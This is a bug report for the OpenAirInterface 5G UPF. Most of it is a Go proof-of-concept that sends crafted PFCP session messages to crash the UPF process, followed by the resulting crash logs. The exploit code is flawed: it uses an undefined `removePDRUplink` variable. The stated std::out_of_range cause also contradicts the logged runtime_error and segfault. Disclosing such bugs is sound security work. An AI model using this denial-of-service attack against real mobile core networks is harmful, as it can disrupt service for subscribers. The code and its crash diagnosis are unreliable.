[Bug] UPF crash on PFCP Session Modification Request when removing all uplink PDRs
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=YES
Description
When the UPF receives a PFCP Session Modification Request that removes all uplink PDRs (Packet Detection Rules) from an existing session while only adding downlink PDRs, it crashes due to an out-of-bounds vector access in SessionManager.cpp:474.
The crash occurs in the modifyBpfSession() function when it attempts to access pdrs_uplink[0] without checking if the pdrs_uplink vector is empty. After removing all uplink PDRs, the vector becomes empty, but the code only checks if pdrs_uplink_size != pdrs_uplink.size() (which evaluates to true when size changes from 1 to 0) without verifying that the vector is non-empty before accessing its first element.
config
config.yaml
################################################################################ # Licensed to the OpenAirInterface (OAI) Software Alliance under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The OpenAirInterface Software Alliance licenses this file to You under # the OAI Public License, Version 1.1 (the "License"); you may not use this file # except in compliance with the License. # You may obtain a copy of the License at # # http://www.openairinterface.org/?page_id=698 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #------------------------------------------------------------------------------- # For more information about the OpenAirInterface (OAI) Software Alliance: # contact@openairinterface.org ################################################################################ # OAI CN Configuration File ### This file can be used by all OAI NFs ### Some fields are specific to an NF and will be ignored by other NFs ### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file ### If you intend to mount this file or use a bare-metal deployment, please refer to README.md ### The README.md also defines default values and allowed values for each configuration parameter ############# Common configuration # Log level for all the NFs log_level: general: debug # If you enable registration, the other NFs will use the NRF discovery mechanism register_nf: general: yes http_version: 2 ############## SBI Interfaces ### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms nfs: amf: host: oai-amf sbi: port: 8080 api_version: v1 interface_name: eth0 n2: interface_name: eth0 port: 38412 smf: host: oai-smf sbi: port: 8080 api_version: v1 interface_name: eth0 n4: interface_name: eth0 port: 8805 upf: host: oai-upf sbi: port: 8080 api_version: v1 interface_name: eth1 n3: interface_name: eth0 port: 2152 n4: interface_name: eth0 port: 8805 n6: interface_name: eth1 n9: interface_name: eth0 port: 2152 udm: host: oai-udm sbi: port: 8080 api_version: v1 interface_name: eth0 udr: host: oai-udr sbi: port: 8080 api_version: v1 interface_name: eth0 ausf: host: oai-ausf sbi: port: 8080 api_version: v1 interface_name: eth0 nrf: host: oai-nrf sbi: port: 8080 api_version: v1 interface_name: eth0 #### Common for UDR and AMF database: host: mysql user: test type: mysql password: test database_name: oai_db generate_random: true connection_timeout: 300 # seconds ## general single_nssai configuration ## Defines YAML anchors, which are reused in the config file snssais: - &embb_slice sst: 1 ############## NF-specific configuration amf: pid_directory: "/var/run" amf_name: "OAI-AMF" # This really depends on if we want to keep the "mini" version or not support_features_options: enable_simple_scenario: no enable_nssf: no enable_smf_selection: yes use_external_udm: no relative_capacity: 30 statistics_timer_interval: 20 #in seconds emergency_support: false served_guami_list: - mcc: 001 mnc: 01 amf_region_id: 01 amf_set_id: 001 amf_pointer: 01 plmn_support_list: - mcc: 001 mnc: 01 tac: 0x0001 nssai: - *embb_slice supported_integrity_algorithms: - "NIA1" - "NIA2" supported_encryption_algorithms: - "NEA0" - "NEA1" - "NEA2" smf: ue_mtu: 1500 support_features: use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF # we resolve from NRF, this is just to configure usage_reporting upfs: - host: oai-upf config: enable_usage_reporting: no ue_dns: primary_ipv4: "1.1.1.1" primary_ipv6: "2001:4860:4860::8888" secondary_ipv4: "8.8.8.8" secondary_ipv6: "2001:4860:4860::8888" ims: pcscf_ipv4: "192.168.70.139" pcscf_ipv6: "fe80::7915:f408:1787:db8b" # the DNN you configure here should be configured in "dnns" # follows the SmfInfo datatype from 3GPP TS 29.510 smf_info: sNssaiSmfInfoList: - sNssai: *embb_slice dnnSmfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" local_subscription_infos: - single_nssai: *embb_slice dnn: "oai" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "openairinterface" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "ims" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "default" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" upf: support_features: enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW smfs: - host: oai-smf # To be used for PFCP association in case of no-NRF upf_info: sNssaiUpfInfoList: - sNssai: *embb_slice dnnUpfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" ## DNN configuration dnns: - dnn: "oai" pdu_session_type: "IPV4" ipv4_subnet: "10.0.0.0/24" - dnn: "openairinterface" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.1.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "ims" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.9.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "default" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.255.0/24" ipv6_prefix: "2001:1:2::/64" `
Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"math/rand"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
defaultPFCPPort = 8805
defaultTimeout = 5 * time.Second
)
type vectorOOBUplinkClient struct {
nodeIP net.IP
cpSeid uint64
seq uint32
}
func (c *vectorOOBUplinkClient) nextSeq() uint32 {
c.seq++
if c.seq == 0 || c.seq > 0x00ffffff {
c.seq = 1
}
return c.seq
}
func (c *vectorOOBUplinkClient) baseSessIEs(dnn string) []*ie.IE {
return []*ie.IE{
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewFSEID(c.cpSeid, c.nodeIP, nil),
ie.NewPDNType(ie.PDNTypeIPv4),
}
}
func (c *vectorOOBUplinkClient) sendAssociation(conn *net.UDPConn) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewCPFunctionFeatures(0x3f),
)
payload, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal association: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send association: %w", err)
}
log.Printf("Sent Association Setup Request")
time.Sleep(500 * time.Millisecond)
return nil
}
func (c *vectorOOBUplinkClient) buildValidSession(dnn string) (*message.SessionEstablishmentRequest, error) {
pdrUplink := ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(32),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess), // Uplink (Access = 0)
ie.NewNetworkInstance(dnn),
ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0),
),
ie.NewFARID(1),
)
farUplink := ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(0x02),
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore), // Core = 1
),
)
payload := append([]*ie.IE{}, c.baseSessIEs(dnn)...)
payload = append(payload, pdrUplink, farUplink)
return message.NewSessionEstablishmentRequest(0, 0, c.cpSeid, c.nextSeq(), 0, payload...), nil
}
func (c *vectorOOBUplinkClient) buildSessionModificationRemoveUplinkPDRs(upfSeid uint64) (*message.SessionModificationRequest, error) {
createPDRDownlink := ie.NewCreatePDR(
ie.NewPDRID(3),
ie.NewPrecedence(32),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceCore), // Downlink (Core = 1)
ie.NewNetworkInstance("internet"), // Network Instance 在 PDI 中
),
ie.NewFARID(2),
)
createFARDownlink := ie.NewCreateFAR(
ie.NewFARID(2),
ie.NewApplyAction(0x02),
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceAccess), // Access = 0
),
)
return message.NewSessionModificationRequest(
0, 0, upfSeid, c.nextSeq(), 0,
ie.NewFSEID(c.cpSeid, c.nodeIP, nil),
removePDRUplink,
createPDRDownlink,
createFARDownlink,
), nil
}
func extractSEIDFromRaw(raw []byte) (uint64, error) {
if len(raw) < 8 {
return 0, fmt.Errorf("message too short")
}
hasSEID := (raw[0] & 0x01) != 0
if !hasSEID {
return 0, fmt.Errorf("message does not contain SEID")
}
if len(raw) < 12 {
return 0, fmt.Errorf("message too short for SEID")
}
seid := uint64(raw[4])<<56 | uint64(raw[5])<<48 | uint64(raw[6])<<40 | uint64(raw[7])<<32 |
uint64(raw[8])<<24 | uint64(raw[9])<<16 | uint64(raw[10])<<8 | uint64(raw[11])
return seid, nil
}
func parseSessionEstablishmentResponse(raw []byte) (uint64, error) {
for i := 0; i < len(raw)-4; i++ {
if raw[i] == 0x00 && raw[i+1] == 0x39 {
if i+12 < len(raw) {
ieLength := uint16(raw[i+2])<<8 | uint16(raw[i+3])
if i+4+int(ieLength) <= len(raw) {
seid := uint64(raw[i+5])<<56 | uint64(raw[i+6])<<48 | uint64(raw[i+7])<<40 | uint64(raw[i+8])<<32 |
uint64(raw[i+9])<<24 | uint64(raw[i+10])<<16 | uint64(raw[i+11])<<8 | uint64(raw[i+12])
log.Printf("Extracted UPF SEID from F-SEID IE: 0x%x", seid)
return seid, nil
}
}
}
}
msg, err := message.Parse(raw)
if err != nil {
if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
log.Printf("Extracted UPF SEID from message header: 0x%x", seid)
return seid, nil
}
return 0, fmt.Errorf("parse PFCP message: %w", err)
}
msgType := msg.MessageType()
msgTypeName := msg.MessageTypeName()
log.Printf("Received PFCP message: Type=%d (%s)", msgType, msgTypeName)
if msgType == 6 || msgTypeName == "SessionEstablishmentResponse" || msgTypeName == "Association Setup Response" {
if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
if resp.UPFSEID != nil {
fseid, err := resp.UPFSEID.FSEID()
if err == nil {
return fseid.SEID, nil
}
}
if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
log.Printf("Extracted UPF SEID manually: 0x%x", seid)
return seid, nil
}
}
}
if msgType != message.MsgTypeSessionEstablishmentResponse && msgType != 6 {
if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
if resp.Cause != nil {
cause, err := resp.Cause.Cause()
if err == nil {
return 0, fmt.Errorf("session establishment rejected: cause=%d (message type=%d, %s)", cause, msgType, msgTypeName)
}
}
return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName)
}
if msgType == message.MsgTypeSessionModificationResponse {
if modResp, ok := msg.(*message.SessionModificationResponse); ok {
if modResp.Cause != nil {
cause, err := modResp.Cause.Cause()
if err == nil {
return 0, fmt.Errorf("received Session Modification Response instead of Session Establishment Response: cause=%d", cause)
}
}
}
}
return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5). UPF may have rejected the request or sent wrong message type", msgType, msgTypeName)
}
resp, ok := msg.(*message.SessionEstablishmentResponse)
if !ok {
if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
log.Printf("Extracted UPF SEID manually (type conversion failed): 0x%x", seid)
return seid, nil
}
return 0, fmt.Errorf("failed to cast message to SessionEstablishmentResponse (type=%d, %s)", msgType, msgTypeName)
}
if resp.Cause != nil {
cause, err := resp.Cause.Cause()
if err == nil && cause != 1 { // 1 = Request accepted
return 0, fmt.Errorf("session establishment failed: cause=%d", cause)
}
}
if resp.UPFSEID == nil {
if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
log.Printf("Extracted UPF SEID manually (UPFSEID IE missing): 0x%x", seid)
return seid, nil
}
if resp.Cause != nil {
cause, err := resp.Cause.Cause()
if err == nil {
return 0, fmt.Errorf("session establishment failed: cause=%d (missing UPF SEID IE)", cause)
}
}
return 0, fmt.Errorf("missing UPF SEID IE in response")
}
fseid, err := resp.UPFSEID.FSEID()
if err != nil {
if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
log.Printf("Extracted UPF SEID manually (FSEID extraction failed): 0x%x", seid)
return seid, nil
}
return 0, fmt.Errorf("extract UPF SEID: %w", err)
}
return fseid.SEID, nil
}
func main() {
var (
target = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint")
nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4")
dnn = flag.String("dnn", "internet", "Network Instance / DNN")
dump = flag.Bool("dump", false, "Dump crafted PFCP bytes")
upfSeid = flag.Uint64("upf-seid", 0, "UPF SEID (skip session establishment if provided)")
)
flag.Parse()
nodeIP := net.ParseIP(*nodeIPStr)
if nodeIP == nil {
log.Fatalf("invalid node-ip: %s", *nodeIPStr)
}
addr, err := net.ResolveUDPAddr("udp", *target)
if err != nil {
log.Fatalf("resolve UDP addr: %v", err)
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
log.Fatalf("dial PFCP: %v", err)
}
defer conn.Close()
rand.Seed(time.Now().UnixNano())
cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32())
client := &vectorOOBUplinkClient{
nodeIP: nodeIP,
cpSeid: cpSeid,
seq: uint32(rand.Intn(0x00ffffff)),
}
if err := client.sendAssociation(conn); err != nil {
log.Printf("association setup failed: %v", err)
}
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
assocBuf := make([]byte, 2048)
if n, err := conn.Read(assocBuf); err == nil {
log.Printf("Received Association Setup Response (%d bytes)", n)
} else {
log.Printf("No Association Setup Response received (continuing anyway): %v", err)
}
time.Sleep(500 * time.Millisecond)
var upfSeidValue uint64
if *upfSeid != 0 {
upfSeidValue = *upfSeid
log.Printf("Using provided UPF SEID: 0x%x", upfSeidValue)
log.Printf("Skipping Session Establishment Request")
} else {
estReq, err := client.buildValidSession(*dnn)
if err != nil {
log.Fatalf("build session: %v", err)
}
payload, err := estReq.Marshal()
if err != nil {
log.Fatalf("marshal session: %v", err)
}
if *dump {
fmt.Printf("Session Establishment Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send session: %v", err)
}
log.Printf("Sent Session Establishment Request (F-SEID=0x%x)", client.cpSeid)
log.Printf(" - PDR 1: Uplink (Source Interface = Access)")
log.Printf(" - Strategy: Only create uplink PDR (no downlink PDR)")
conn.SetReadDeadline(time.Now().Add(10 * time.Second))
buf := make([]byte, 2048)
n, err := conn.Read(buf)
if err != nil {
log.Printf("ERROR: Failed to read session response: %v", err)
log.Printf("This may indicate:")
log.Printf(" 1. UPF crashed during session establishment (check UPF logs)")
log.Printf(" 2. Network timeout")
log.Printf(" 3. UPF rejected the request silently")
log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag")
log.Printf(" Example: go run poc_vector_oob_uplink.go -target %s -upf-seid 0x1234567890abcdef", *target)
log.Fatalf("Cannot proceed without UPF SEID")
}
if *dump {
fmt.Printf("Session Establishment Response (%d bytes):\n%s\n", n, hex.Dump(buf[:n]))
} else {
log.Printf("Raw response (%d bytes):\n%s", n, hex.Dump(buf[:n]))
}
upfSeidValue, err = parseSessionEstablishmentResponse(buf[:n])
if err != nil {
log.Printf("WARNING: Failed to parse session response: %v", err)
log.Printf("Attempting to extract SEID from raw message...")
if len(buf) >= 12 && (buf[0]&0x01) != 0 {
seid := uint64(buf[4])<<56 | uint64(buf[5])<<48 | uint64(buf[6])<<40 | uint64(buf[7])<<32 |
uint64(buf[8])<<24 | uint64(buf[9])<<16 | uint64(buf[10])<<8 | uint64(buf[11])
log.Printf("Extracted SEID from message header: 0x%x", seid)
upfSeidValue = seid
err = nil
} else {
log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag")
log.Printf(" Example: go run poc_vector_oob_uplink.go -target %s -upf-seid 0x1234567890abcdef", *target)
log.Fatalf("Cannot proceed without UPF SEID")
}
}
if err == nil {
log.Printf("✓ Successfully extracted UPF SEID: 0x%x", upfSeidValue)
}
time.Sleep(500 * time.Millisecond)
}
log.Printf("")
log.Printf("=== Triggering Uplink Vector OOB ===")
log.Printf("Strategy: Remove all uplink PDRs, only add downlink PDRs")
log.Printf("Expected: pdrs_uplink becomes empty, but size check passes")
log.Printf("Crash point: SessionManager.cpp:474 - pdrs_uplink[0] on empty vector")
modReq, err := client.buildSessionModificationRemoveUplinkPDRs(upfSeidValue)
if err != nil {
log.Fatalf("build modification: %v", err)
}
payload, err := modReq.Marshal()
if err != nil {
log.Fatalf("marshal modification: %v", err)
}
if *dump {
fmt.Printf("Session Modification Request (Remove Uplink PDRs) (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send modification: %v", err)
}
log.Printf("[VECTOR_OOB_UPLINK] Sent Session Modification Request")
log.Printf(" - Remove PDR 1 (Uplink)")
log.Printf(" - Create PDR 3 (Downlink only)")
log.Printf(" - Create FAR 2 (for Downlink PDR)")
log.Printf("Expected: UPF crashes when accessing pdrs_uplink[0] on empty vector")
log.Printf("Crash type: std::out_of_range (uncaught) at SessionManager.cpp:474")
conn.SetReadDeadline(time.Now().Add(defaultTimeout))
buf := make([]byte, 2048)
n, err := conn.Read(buf)
if err != nil {
log.Printf("No response received (UPF may have crashed): %v", err)
log.Printf("✓ Uplink vector OOB crash likely triggered!")
} else {
log.Printf("Received response: %d bytes (UPF survived)", n)
if *dump {
fmt.Printf("Response:\n%s\n", hex.Dump(buf[:n]))
}
log.Printf("⚠ UPF did not crash - may need to adjust POC")
}
}
- Download required libraries: go mod tidy
- Run the program with the upf pfcp server address: `go run main.go -target 192.168.70.134:8805`
Logs
[2025-12-10 18:14:35.936] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-12-10 18:14:35.936] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-10 18:14:36.937] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 18:14:36.937] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x2c1cd946f96f3c7
[2025-12-10 18:14:36.937] [upf_n4 ] [info] pfcp_session::add(far) seid 0x4
[2025-12-10 18:14:36.937] [upf_n4 ] [info] TEID received from CP
[2025-12-10 18:14:36.937] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x4
[2025-12-10 18:14:36.937] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 18:14:36.937] [upf_app] [debug] sessionManager::createBpfSession() seid 0x4
[2025-12-10 18:14:36.937] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 18:14:36.937] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 18:14:36.937] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 18:14:36.937] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 18:14:36.937] [upf_app] [debug] Session seid 0x4 successfully created
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions: |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
| SEID |pdr | far |predence| action | create outer hdr tun id| rmv outer hdr tun id| UE IPv4 | |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000002|0001|00000001|00000020|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000003|0003|00000001|00000020|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000004|0001|00000001|00000020|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[2025-12-10 18:14:36.937] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 18:14:36.937] [upf_app] [debug] same subnet
[2025-12-10 18:14:36.938] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 18:14:37.439] [upf_n4 ] [info] handle_receive(116 bytes)
[2025-12-10 18:14:37.439] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x4
[2025-12-10 18:14:37.439] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-12-10 18:14:37.439] [upf_app] [info] Modify datapath:remove(pdr)
[2025-12-10 18:14:37.439] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x4
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-12-10 18:14:37.439] [upf_app] [debug] Retrieving teid from session seid 0x4
[2025-12-10 18:14:37.439] [upf_app] [warning] No valid teid found for session seid 0x4
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(far)
[2025-12-10 18:14:37.439] [upf_app] [debug] Delete pdr
[2025-12-10 18:14:37.439] [upf_app] [debug] pdr and far map entries are obsolete and need to be deleted
[2025-12-10 18:14:37.439] [upf_app] [debug] Remove PDR with id 1
[2025-12-10 18:14:37.439] [upf_app] [debug] Found PDR with id 1 in list 'pdrs'
[2025-12-10 18:14:37.439] [upf_n4 ] [info] pfcp_session::remove(pdr) seid 0x4
[2025-12-10 18:14:37.439] [upf_n4 ] [info] pfcp_session::add(far) seid 0x4
[2025-12-10 18:14:37.439] [upf_n4 ] [info] Could not create_packet_in_access, cause accept only IPv4 UE IP address! Rejecting PFCP_XXX_REQUEST
[2025-12-10 18:14:37.439] [upf_app] [info] Modify datapath
[2025-12-10 18:14:37.439] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x4
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-12-10 18:14:37.439] [upf_app] [error] No pdr found in session seid 0x4
[2025-12-10 18:14:37.439] [upf_app] [debug] There are some programs in LINKED state
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
what(): Session modification failed: No pdr found.
[2025-12-10 18:14:37.439] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-12-10 18:14:37.439] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-12-10 18:14:37.439] [system ] [info] Caught signal 11
[2025-12-10 18:14:37.439] [common] [info] Waiting ITTI tasks closed
[2025-12-10 18:14:37.439] [asc_cmd] [info] Received terminate message
[2025-12-10 18:14:37.439] [upf_n4 ] [info] Received terminate message
terminate called recursively
Expected Behaviour
The UPF should handle Session Modification Requests that remove all uplink PDRs gracefully. When pdrs_uplink becomes empty, the code should either:
- Skip processing uplink PDRs if the vector is empty, or
- Handle the empty vector case appropriately without crashing
The UPF should continue operating normally and send a proper PFCP Session Modification Response, even when a session modification results in an empty uplink PDR vector.
Observed Behaviour
When a Session Modification Request removes all uplink PDRs (e.g., Remove PDR with ID 1) and only adds downlink PDRs, the UPF crashes with one of the following:
-
Uncaught
std::out_of_rangeexception: When accessingpdrs_uplink[0]on an empty vector, C++ standard library throwsstd::out_of_rangewhich is not caught, causing the process to terminate. - Direct memory access violation: In some cases, the out-of-bounds access may cause a SIGSEGV (segmentation fault).